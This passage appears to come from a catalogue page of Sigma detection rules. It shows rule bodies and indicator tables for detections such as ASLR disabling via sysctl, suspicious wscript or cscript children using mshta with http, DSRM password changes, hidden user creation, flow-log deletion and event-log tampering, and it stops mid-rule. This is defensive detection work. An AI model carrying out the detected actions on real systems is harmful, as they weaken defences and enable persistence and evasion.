Detection rules › Sigma

Sigma rules: 2r

RuleSeverity
Anomalous User Activityhigh
ASLR Disabled Via Sysctl or Direct Syscall - Linuxhigh
AspNetCompiler Executionmedium
AWS VPC Flow Logs Deletedhigh
COM Object Execution via Xwizard.EXEmedium
Compress-Archive Cmdlet Executionlow
Cscript/Wscript Potentially Suspicious Child Processmedium
DSRM password changed (native)high
Execute Pcwrun.EXE To Leverage Follinahigh
Findstr Launching .lnk Filemedium
Fsutil Drive Enumerationlow
HackTool - SharpEvtMute Executionhigh
Hidden Local User Creationhigh
Hidden User Creationmedium
Invoke-Obfuscation Via Use Cliphigh
Lolbin Runexehelper Use As Proxymedium
Obfuscated PowerShell MSI Install via WindowsInstaller COMhigh
Office Application Initiated Network Connection Over Uncommon Portsmedium
Potential Arbitrary File Download Via Cmdl32.EXEmedium
Potential Conti Ransomware Database Dumping Activity Via SQLCmdhigh
Potential Cookies Session Hijackingmedium
Potential CSharp Streamer RAT Loading .NET Executable Imagehigh
Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Processhigh
Potential Powershell ReverseShell Connectionhigh
Potential Secure Deletion with SDeletemedium
Potentially Suspicious PowerShell Child Processesmedium
Potentially Suspicious Regsvr32 HTTP IP Patternhigh
Powershell Suspicious Win32_PnPEntitylow
Registry Enumeration via WMI Stdregprovmedium
Remote Schedule Task Recon via AtScvhigh
Rubeus Kerberos constrained delegation abuse (S4U2Proxy)high
Shell Invocation Via Ssh - Linuxhigh
Space After Filename - macOSlow
Successful Logins and Signups from Flagged IPsmedium
Suspicious Curl File Upload - Linuxmedium
Suspicious DotNET CLR Usage Log Artifacthigh
Suspicious Process Created Via Wmic.EXEhigh
WhoAmI as Parameterhigh
Windows Defender Exclusion Registry Key - Write Access Requestedmedium
XSL Script Execution Via WMIC.EXEmedium

Anomalous User Activity

#
Status
test
Severity
high
Author
Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'
Source
github.com/SigmaHQ/sigma

Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.

Known False Positives

  • We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Privilege Escalation

Rule Body

title: Anomalous User Activity
id: 258b6593-215d-4a26-a141-c8e31c1299a6
status: test
description: Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.
references:
    - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-user-activity
    - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
author: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'
date: 2023-09-03
tags:
    - attack.privilege-escalation
    - attack.t1098
    - attack.persistence
logsource:
    product: azure
    service: riskdetection
detection:
    selection:
        riskEventType: 'anomalousUserActivity'
    condition: selection
falsepositives:
    - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    riskEventType: 'anomalousUserActivity'

Indicators

These rows show field, operator, and value matches.

ASLR Disabled Via Sysctl or Direct Syscall - Linux

#
Status
experimental
Severity
high
Author
Milad Cheraghi
Source
github.com/SigmaHQ/sigma

Detects actions that disable Address Space Layout Randomization (ASLR) in Linux, including: - Use of the personality syscall with the ADDR_NO_RANDOMIZE flag (0x0040000) - Modification of the /proc/sys/kernel/randomize_va_space file - Execution of the sysctl command to set kernel.randomize_va_space=0 Disabling ASLR is often used by attackers during exploit development or to bypass memory protection mechanisms. A successful use of these methods can reduce the effectiveness of ASLR and make memory corruption attacks more reliable.

Known False Positives

  • Debugging or legitimate software testing

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: ASLR Disabled Via Sysctl or Direct Syscall - Linux
id: e497a24e-9345-4a62-9803-b06d7d7cb132
status: experimental
description: |
    Detects actions that disable Address Space Layout Randomization (ASLR) in Linux, including:
      - Use of the `personality` syscall with the ADDR_NO_RANDOMIZE flag (0x0040000)
      - Modification of the /proc/sys/kernel/randomize_va_space file
      - Execution of the `sysctl` command to set `kernel.randomize_va_space=0`
    Disabling ASLR is often used by attackers during exploit development or to bypass memory protection mechanisms.
    A successful use of these methods can reduce the effectiveness of ASLR and make memory corruption attacks more reliable.
references:
    - https://github.com/CheraghiMilad/bypass-Neo23x0-auditd-config/blob/f1c478a37911a5447d5ffcd580f22b167bf3df14/personality-syscall/README.md
    - https://man7.org/linux/man-pages/man2/personality.2.html
    - https://manual.cs50.io/2/personality
    - https://linux-audit.com/linux-aslr-and-kernelrandomize_va_space-setting/
author: Milad Cheraghi
date: 2025-05-26
modified: 2025-12-05
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.defense-impairment
    - attack.t1685
    - attack.t1055.009
logsource:
    product: linux
    service: auditd
detection:
    selection_syscall:
        type: 'SYSCALL'
        SYSCALL: 'personality'
        a0: 40000
    selection_sysctl:
        type: 'EXECVE'
        a0: 'sysctl'
        a1: '-w'
        a2: 'kernel.randomize_va_space=0' # 0 = disable
    condition: 1 of selection_*
falsepositives:
    - Debugging or legitimate software testing
level: high

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_syscall

selection_syscall:
    type: 'SYSCALL'
    SYSCALL: 'personality'
    a0: 40000

Stage 2: selection_sysctl

selection_sysctl:
    type: 'EXECVE'
    a0: 'sysctl'
    a1: '-w'
    a2: 'kernel.randomize_va_space=0'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
SYSCALLeq
  • personality
field:"SYSCALL" kind:eq value:"personality"
a0eq
  • 40000
  • sysctl
field:"a0" kind:eq
a1eq
  • -w
field:"a1" kind:eq value:"-w"
a2eq
  • kernel.randomize_va_space=0
field:"a2" kind:eq value:"kernel.randomize_va_space=0"
typeeq
  • EXECVE corpus 37 (sigma 31, splunk 6)
  • SYSCALL corpus 27 (splunk 15, sigma 12)
field:"type" kind:eq

AspNetCompiler Execution

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: AspNetCompiler Execution
id: a01b8329-5953-4f73-ae2d-aa01e1f35f00 # Exec
related:
    - id: 9ccba514-7cb6-4c5c-b377-700758f2f120 # SuspChild
      type: similar
    - id: 4c7f49ee-2638-43bb-b85b-ce676c30b260 # TMP File
      type: similar
    - id: 9f50fe98-fe5c-4a2d-86c7-fad7f63ed622 # Susp Paths
      type: similar
status: test
description: Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/
    - https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
author: frack113
date: 2021-11-24
modified: 2025-02-24
tags:
    - attack.execution
    - attack.stealth
    - attack.t1127
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|contains:
            - ':\Windows\Microsoft.NET\Framework\'
            - ':\Windows\Microsoft.NET\Framework64\'
            - ':\Windows\Microsoft.NET\FrameworkArm\'
            - ':\Windows\Microsoft.NET\FrameworkArm64\'
        Image|endswith: '\aspnet_compiler.exe'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|contains:
        - ':\Windows\Microsoft.NET\Framework\'
        - ':\Windows\Microsoft.NET\Framework64\'
        - ':\Windows\Microsoft.NET\FrameworkArm\'
        - ':\Windows\Microsoft.NET\FrameworkArm64\'
    Image|endswith: '\aspnet_compiler.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \aspnet_compiler.exe corpus 3 (sigma 3)
field:"Image" kind:ends_with value:"\aspnet_compiler.exe"
Imagematch
  • :\Windows\Microsoft.NET\Framework64\ corpus 2 (sigma 2)
  • :\Windows\Microsoft.NET\FrameworkArm64\ corpus 2 (sigma 2)
  • :\Windows\Microsoft.NET\FrameworkArm\ corpus 2 (sigma 2)
  • :\Windows\Microsoft.NET\Framework\ corpus 2 (sigma 2)
field:"Image" kind:match

AWS VPC Flow Logs Deleted

#
Status
experimental
Severity
high
Author
Ivan Saakov
Source
github.com/SigmaHQ/sigma

Detects the deletion of one or more VPC Flow Logs in AWS Elastic Compute Cloud (EC2) through the DeleteFlowLogs API call. Adversaries may delete flow logs to evade detection or remove evidence of network activity, hindering forensic investigations and visibility into malicious operations.

Known False Positives

  • During maintenance operations or testing, authorized administrators may delete VPC Flow Logs as part of routine network management or cleanup activities.

MITRE ATT&CK Coverage

TacticTechniques
StealthNo specific technique

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: AWS VPC Flow Logs Deleted
id: e386b9b5-af12-450e-afff-761730fb8a98
status: experimental
description: |
    Detects the deletion of one or more VPC Flow Logs in AWS Elastic Compute Cloud (EC2) through the DeleteFlowLogs API call.
    Adversaries may delete flow logs to evade detection or remove evidence of network activity, hindering forensic investigations and visibility into malicious operations.
references:
    - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html
    - https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html
    - https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion
author: Ivan Saakov
date: 2025-10-19
tags:
    - attack.stealth
logsource:
    product: aws
    service: cloudtrail
detection:
    selection_event_name:
        eventName: 'DeleteFlowLogs'
    selection_status_success:
        errorCode: 'Success'
    selection_status_null:
        errorCode: null
    condition: selection_event_name and 1 of selection_status_*
falsepositives:
    - During maintenance operations or testing, authorized administrators may delete VPC Flow Logs as part of routine network management or cleanup activities.
level: high

Stages and Predicates

Stage 0: condition

selection_event_name and 1 of selection_status_*

Stage 1: selection_event_name

selection_event_name:
    eventName: 'DeleteFlowLogs'

Stage 2: selection_status_success

selection_status_success:
    errorCode: 'Success'

Stage 3: selection_status_null

selection_status_null:
    errorCode: null

Indicators

These rows show field, operator, and value matches.

COM Object Execution via Xwizard.EXE

#
Status
test
Severity
medium
Author
Ensar Şamil, @sblmsrsn, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument. This utility can be abused in order to run custom COM object created in the registry.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: COM Object Execution via Xwizard.EXE
id: 53d4bb30-3f36-4e8a-b078-69d36c4a79ff
status: test
description: |
    Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument.
    This utility can be abused in order to run custom COM object created in the registry.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Xwizard/
    - https://www.elastic.co/guide/en/security/current/execution-of-com-object-via-xwizard.html
    - https://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
author: Ensar Şamil, @sblmsrsn, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)
date: 2020-10-07
modified: 2024-08-15
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine: 'RunWizard'
        CommandLine|re: '\{[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}\}'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine: 'RunWizard'
    CommandLine|re: '\{[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}\}'

Indicators

These rows show field, operator, and value matches.

Compress-Archive Cmdlet Execution

#
Status
test
Severity
low
Author
Timur Zinniatullin, oscd.community
Source
github.com/SigmaHQ/sigma

Detects PowerShell scripts that make use of the "Compress-Archive" cmdlet in order to compress folders and files. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Known False Positives

  • Likely

MITRE ATT&CK Coverage

TacticTechniques
Collection

Telemetry Coverage

Rule Body

title: Compress-Archive Cmdlet Execution
id: 6dc5d284-69ea-42cf-9311-fb1c3932a69a
status: test
description: |
    Detects PowerShell scripts that make use of the "Compress-Archive" cmdlet in order to compress folders and files.
    An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md
author: Timur Zinniatullin, oscd.community
date: 2019-10-21
modified: 2023-12-15
tags:
    - attack.exfiltration
    - attack.collection
    - attack.t1560
    - detection.threat-hunting
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains: 'Compress-Archive'
    condition: selection
falsepositives:
    - Likely
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains: 'Compress-Archive'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • Compress-Archive corpus 2 (sigma 1, splunk 1)
field:"ScriptBlockText" kind:match value:"Compress-Archive"

Cscript/Wscript Potentially Suspicious Child Process

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86')
Source
github.com/SigmaHQ/sigma

Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.

Known False Positives

  • Some false positives might occur with admin or third party software scripts. Investigate and apply additional filters accordingly.

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

Rule Body

title: Cscript/Wscript Potentially Suspicious Child Process
id: b6676963-0353-4f88-90f5-36c20d443c6a
status: test
description: |
    Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32.
    Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.
references:
    - Internal Research
    - https://github.com/pr0xylife/Pikabot/blob/fc58126127adf0f65e78f4eec59675523f48f086/Pikabot_30.10.2023.txt
    - https://github.com/pr0xylife/Pikabot/blob/fc58126127adf0f65e78f4eec59675523f48f086/Pikabot_22.12.2023.txt
author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86')
date: 2023-05-15
modified: 2024-01-02
tags:
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
    selection_cli_script_main:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
    # Note: Add other combinations that are suspicious
    selection_cli_script_option_mshta:
        CommandLine|contains|all:
            - 'mshta'
            - 'http'
    selection_cli_script_option_other:
        CommandLine|contains:
            - 'rundll32'
            - 'regsvr32'
            - 'msiexec'
    selection_cli_standalone:
        Image|endswith: '\rundll32.exe'
    filter_main_rundll32_known_exports:
        Image|endswith: '\rundll32.exe'
        CommandLine|contains:
            - 'UpdatePerUserSystemParameters'
            - 'PrintUIEntry'
            - 'ClearMyTracksByProcess'
    condition: selection_parent and ( selection_cli_standalone or (selection_cli_script_main and 1 of selection_cli_script_option_*) ) and not 1 of filter_main_*
falsepositives:
    - Some false positives might occur with admin or third party software scripts. Investigate and apply additional filters accordingly.
level: medium

Stages and Predicates

Stage 0: condition

selection_parent and ( selection_cli_standalone or (selection_cli_script_main and 1 of selection_cli_script_option_*) ) and not 1 of filter_main_*

Stage 1: selection_parent

selection_parent:
    ParentImage|endswith:
        - '\wscript.exe'
        - '\cscript.exe'

Stage 2: selection_cli_standalone

selection_cli_standalone:
    Image|endswith: '\rundll32.exe'

Stage 3: selection_cli_script_main

selection_cli_script_main:
    Image|endswith:
        - '\cmd.exe'
        - '\powershell.exe'
        - '\pwsh.exe'

Stage 4: selection_cli_script_option_mshta

selection_cli_script_option_mshta:
    CommandLine|contains|all:
        - 'mshta'
        - 'http'

Stage 5: selection_cli_script_option_other

selection_cli_script_option_other:
    CommandLine|contains:
        - 'rundll32'
        - 'regsvr32'
        - 'msiexec'

Stage 6: not filter_main_rundll32_known_exports

filter_main_rundll32_known_exports:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains:
        - 'UpdatePerUserSystemParameters'
        - 'PrintUIEntry'
        - 'ClearMyTracksByProcess'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • http corpus 45 (sigma 34, elastic 10, splunk 1)
  • mshta corpus 14 (sigma 14)
  • msiexec corpus 5 (sigma 5)
  • regsvr32 corpus 15 (sigma 15)
  • rundll32 corpus 23 (sigma 23)
field:"CommandLine" kind:match
Imageends_with
  • \cmd.exe corpus 132 (sigma 130, splunk 2)
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
  • \rundll32.exe corpus 94 (sigma 94)
field:"Image" kind:ends_with
ParentImageends_with
  • \cscript.exe corpus 17 (sigma 17)
  • \wscript.exe corpus 19 (sigma 19)
field:"ParentImage" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLinematchClearMyTracksByProcessexcludes:CommandLine field:"CommandLine" value:"ClearMyTracksByProcess"
CommandLinematchPrintUIEntryexcludes:CommandLine field:"CommandLine" value:"PrintUIEntry"
CommandLinematchUpdatePerUserSystemParametersexcludes:CommandLine field:"CommandLine" value:"UpdatePerUserSystemParameters"
Imageends_with\rundll32.exeexcludes:Image field:"Image" value:"\rundll32.exe"

DSRM password changed (native)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker reset or synchronize with another domain account the DSRM (Directory Services Restore Mode) password in order to escalate privileges.

Known False Positives

  • Disaster recovery situation

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Telemetry Coverage

Rule Body

title: DSRM password changed (native)
description: Detects scenarios where an attacker reset or synchronize with another domain account the DSRM (Directory Services Restore Mode) password in order to escalate privileges.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0006-Credential%20Access/T1003-Credential%20dumping
- https://adsecurity.org/?p=1714
- https://adsecurity.org/?p=1785
- https://book.hacktricks.xyz/windows/active-directory-methodology/dsrm-credentials
- https://www.hackingarticles.in/domain-persistence-dsrm/
- https://azurecloudai.blog/2020/06/19/how-to-reset-the-directory-service-restore-mode-dsrm-password/
tags:
- attack.persistence
- attack.t1098
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection: # full command: NTDSUTIL >> set dsrm password >> reset password on server null >> <password>
  selection:
    EventID: 4794
  condition: selection
falsepositives:
- Disaster recovery situation
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 4794

Execute Pcwrun.EXE To Leverage Follina

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Execute Pcwrun.EXE To Leverage Follina
id: 6004abd0-afa4-4557-ba90-49d172e0a299
status: test
description: Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability
references:
    - https://twitter.com/nas_bench/status/1535663791362519040
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-13
tags:
    - attack.stealth
    - attack.t1218
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\pcwrun.exe'
        CommandLine|contains: '../'
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\pcwrun.exe'
    CommandLine|contains: '../'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • ../ corpus 2 (sigma 1, splunk 1)
field:"CommandLine" kind:match value:"../"
Imageends_with
  • \pcwrun.exe
field:"Image" kind:ends_with value:"\pcwrun.exe"

Findstr Launching .lnk File

#
Status
test
Severity
medium
Author
Trent Liffick
Source
github.com/SigmaHQ/sigma

Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Findstr Launching .lnk File
id: 33339be3-148b-4e16-af56-ad16ec6c7e7b
status: test
description: Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack
references:
    - https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/
author: Trent Liffick
date: 2020-05-01
modified: 2024-01-15
tags:
    - attack.stealth
    - attack.t1036
    - attack.t1202
    - attack.t1027.003
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\find.exe'
              - '\findstr.exe'
        - OriginalFileName:
              - 'FIND.EXE'
              - 'FINDSTR.EXE'
    selection_cli:
        CommandLine|endswith:
            - '.lnk'
            - '.lnk"'
            - ".lnk'"
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '\find.exe'
          - '\findstr.exe'
    - OriginalFileName:
          - 'FIND.EXE'
          - 'FINDSTR.EXE'

Stage 2: selection_cli

selection_cli:
    CommandLine|endswith:
        - '.lnk'
        - '.lnk"'
        - ".lnk'"

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLineends_with
  • .lnk
  • .lnk"
  • .lnk'
field:"CommandLine" kind:ends_with
Imageends_with
  • \find.exe corpus 7 (sigma 7)
  • \findstr.exe corpus 11 (sigma 11)
field:"Image" kind:ends_with
OriginalFileNameeq
  • FIND.EXE corpus 7 (sigma 7)
  • FINDSTR.EXE corpus 12 (sigma 12)
field:"OriginalFileName" kind:eq

Fsutil Drive Enumeration

#
Status
test
Severity
low
Author
Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'
Source
github.com/SigmaHQ/sigma

Attackers may leverage fsutil to enumerated connected drives.

Known False Positives

  • Certain software or administrative tasks may trigger false positives.

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Fsutil Drive Enumeration
id: 63de06b9-a385-40b5-8b32-73f2b9ef84b6
status: test
description: Attackers may leverage fsutil to enumerated connected drives.
references:
    - Turla has used fsutil fsinfo drives to list connected drives.
    - https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml
author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'
date: 2022-03-29
modified: 2022-07-14
tags:
    - attack.discovery
    - attack.t1120
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\fsutil.exe'
        - OriginalFileName: 'fsutil.exe'
    selection_cli:
        CommandLine|contains: 'drives'
    condition: all of selection_*
falsepositives:
    - Certain software or administrative tasks may trigger false positives.
level: low

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\fsutil.exe'
    - OriginalFileName: 'fsutil.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains: 'drives'

Indicators

These rows show field, operator, and value matches.

HackTool - SharpEvtMute Execution

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: HackTool - SharpEvtMute Execution
id: bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c
related:
    - id: 49329257-089d-46e6-af37-4afce4290685 # DLL load
      type: similar
status: test
description: Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs
references:
    - https://github.com/bats3c/EvtMute
author: Florian Roth (Nextron Systems)
date: 2022-09-07
modified: 2023-02-14
tags:
    - attack.defense-impairment
    - attack.t1685.001
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        - Image|endswith: '\SharpEvtMute.exe'
        - Description: 'SharpEvtMute'
        - CommandLine|contains:
              - '--Filter "rule '
              - '--Encoded --Filter \"'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    - Image|endswith: '\SharpEvtMute.exe'
    - Description: 'SharpEvtMute'
    - CommandLine|contains:
          - '--Filter "rule '
          - '--Encoded --Filter \"'

Indicators

These rows show field, operator, and value matches.

Hidden Local User Creation

#
Status
test
Severity
high
Author
Christian Burkard (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the creation of a local hidden user account which should not happen for event ID 4720.

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Telemetry Coverage

Rule Body

title: Hidden Local User Creation
id: 7b449a5e-1db5-4dd0-a2dc-4e3a67282538
status: test
description: Detects the creation of a local hidden user account which should not happen for event ID 4720.
references:
    - https://twitter.com/SBousseaden/status/1387743867663958021
author: Christian Burkard (Nextron Systems)
date: 2021-05-03
modified: 2024-01-16
tags:
    - attack.persistence
    - attack.t1136.001
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4720
        TargetUserName|endswith: '$'
    filter_main_homegroup:
        TargetUserName: 'HomeGroupUser$'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    EventID: 4720
    TargetUserName|endswith: '$'

Stage 2: not filter_main_homegroup

filter_main_homegroup:
    TargetUserName: 'HomeGroupUser$'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetUserNameends_with
  • $ corpus 11 (sigma 7, splunk 2, kusto 2)
field:"TargetUserName" kind:ends_with value:"$"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
TargetUserNameeqHomeGroupUser$excludes:TargetUserName field:"TargetUserName" value:"HomeGroupUser$"

Hidden User Creation

#
Status
test
Severity
medium
Author
Daniil Yugoslavskiy, oscd.community
Source
github.com/SigmaHQ/sigma

Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option

Known False Positives

  • Legitimate administration activities

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Hidden User Creation
id: b22a5b36-2431-493a-8be1-0bae56c28ef3
status: test
description: Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md
author: Daniil Yugoslavskiy, oscd.community
date: 2020-10-10
modified: 2021-11-27
tags:
    - attack.stealth
    - attack.t1564.002
logsource:
    category: process_creation
    product: macos
detection:
    dscl_create:
        Image|endswith: '/dscl'
        CommandLine|contains: 'create'
    id_below_500:
        CommandLine|contains: UniqueID
        CommandLine|re: '([0-9]|[1-9][0-9]|[1-4][0-9]{2})'
    ishidden_option_declaration:
        CommandLine|contains: 'IsHidden'
    ishidden_option_confirmation:
        CommandLine|contains:
            - 'true'
            - 'yes'
            - '1'
    condition: dscl_create and id_below_500 or dscl_create and (ishidden_option_declaration and ishidden_option_confirmation)
falsepositives:
    - Legitimate administration activities
level: medium

Stages and Predicates

Stage 0: condition

dscl_create and id_below_500 or dscl_create and (ishidden_option_declaration and ishidden_option_confirmation)

Stage 1: dscl_create

dscl_create:
    Image|endswith: '/dscl'
    CommandLine|contains: 'create'

Stage 2: id_below_500

id_below_500:
    CommandLine|contains: UniqueID
    CommandLine|re: '([0-9]|[1-9][0-9]|[1-4][0-9]{2})'

Stage 3: dscl_create

dscl_create:
    Image|endswith: '/dscl'
    CommandLine|contains: 'create'

Stage 4: ishidden_option_declaration

ishidden_option_declaration:
    CommandLine|contains: 'IsHidden'

Stage 5: ishidden_option_confirmation

ishidden_option_confirmation:
    CommandLine|contains:
        - 'true'
        - 'yes'
        - '1'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • 1 corpus 2 (sigma 2)
  • IsHidden
  • UniqueID
  • create corpus 29 (sigma 17, splunk 7, elastic 5)
  • true corpus 3 (sigma 2, splunk 1)
  • yes corpus 3 (sigma 2, splunk 1)
field:"CommandLine" kind:match
CommandLineregex_match
  • ([0-9]|[1-9][0-9]|[1-4][0-9]{2})
field:"CommandLine" kind:regex_match value:"([0-9]|[1-9][0-9]|[1-4][0-9]{2})"
Imageends_with
  • /dscl corpus 5 (sigma 5)
field:"Image" kind:ends_with value:"/dscl"

Invoke-Obfuscation Via Use Clip

#
Status
test
Severity
high
Author
Nikita Nazarov, oscd.community
Source
github.com/SigmaHQ/sigma

Detects Obfuscated Powershell via use Clip.exe in Scripts

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Invoke-Obfuscation Via Use Clip
id: e1561947-b4e3-4a74-9bdd-83baed21bdb5
status: test
description: Detects Obfuscated Powershell via use Clip.exe in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task29)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2026-03-16
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
